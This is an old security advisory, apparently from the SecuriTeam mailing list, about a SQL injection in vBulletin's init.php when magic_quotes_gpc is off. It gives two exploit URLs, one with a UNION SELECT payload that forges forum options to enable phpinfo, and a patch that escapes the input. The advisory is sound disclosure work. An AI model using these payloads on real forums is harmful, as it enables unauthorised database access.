Date: 2 Jan 2005 17:19:40 +0200
From: SecuriTeam <support@securiteam.com.>
To: [email protected]Subject: [UNIX] vBulletin init.php SQL Injection (specialtemplates)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
vBulletin init.php SQL Injection (specialtemplates)
------------------------------------------------------------------------
SUMMARY
<http://www.vbulletin.com/> vBulletin is "a commonly used web forum
system written in PHP. One of its key features is use of templates, which
allow the board administrator to dynamically modify the look of the
board".
vBulletin's init.php contains a SQL injection if the "magic_quotes_gpc"
directive of PHP has been set to OFF.
DETAILS
Exploit:
http://site/forum/global.php?specialtemplates=al3ndaleeb')
http://site/forum/global.php?do=phpinfo&specialtemplates[]=al3ndaleeb')
UNION SELECT concat('options') as
title,concat('a:4:{s:15:"templateversion";s:5:"3.0.3";s:12:"allowphpinfo";s:1:"1";s:10:"languageid";s:1:"1";s:7:"styleid";s:1:"1";}') as data/*
Workaround:
Open init.php file and search for these lines:
$datastoretemp = $DB_site->query("
SELECT title, data
FROM " . TABLE_PREFIX . "datastore
WHERE title IN ('" . implode("', '", $specialtemplates) . "')
");
unset($specials, $specialtemplates);
Replace with these :
if(!is_array($specialtemplates))
exit;
$specialtemplate = array();
foreach ($specialtemplates AS $arrykey => $arryval)
{
$specialtemplate[] = addslashes($specialtemplates["$arrykey"]);
}
$datastoretemp = $DB_site->query("
SELECT title, data
FROM " . TABLE_PREFIX . "datastore
WHERE title IN ('" . implode("', '", $specialtemplate) . "')
");
unset($specials, $specialtemplates, $specialtemplate);
ADDITIONAL INFORMATION
The information has been provided by <mailto:al3ndaleeb@uk2.net.>
al3ndaleeb.
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.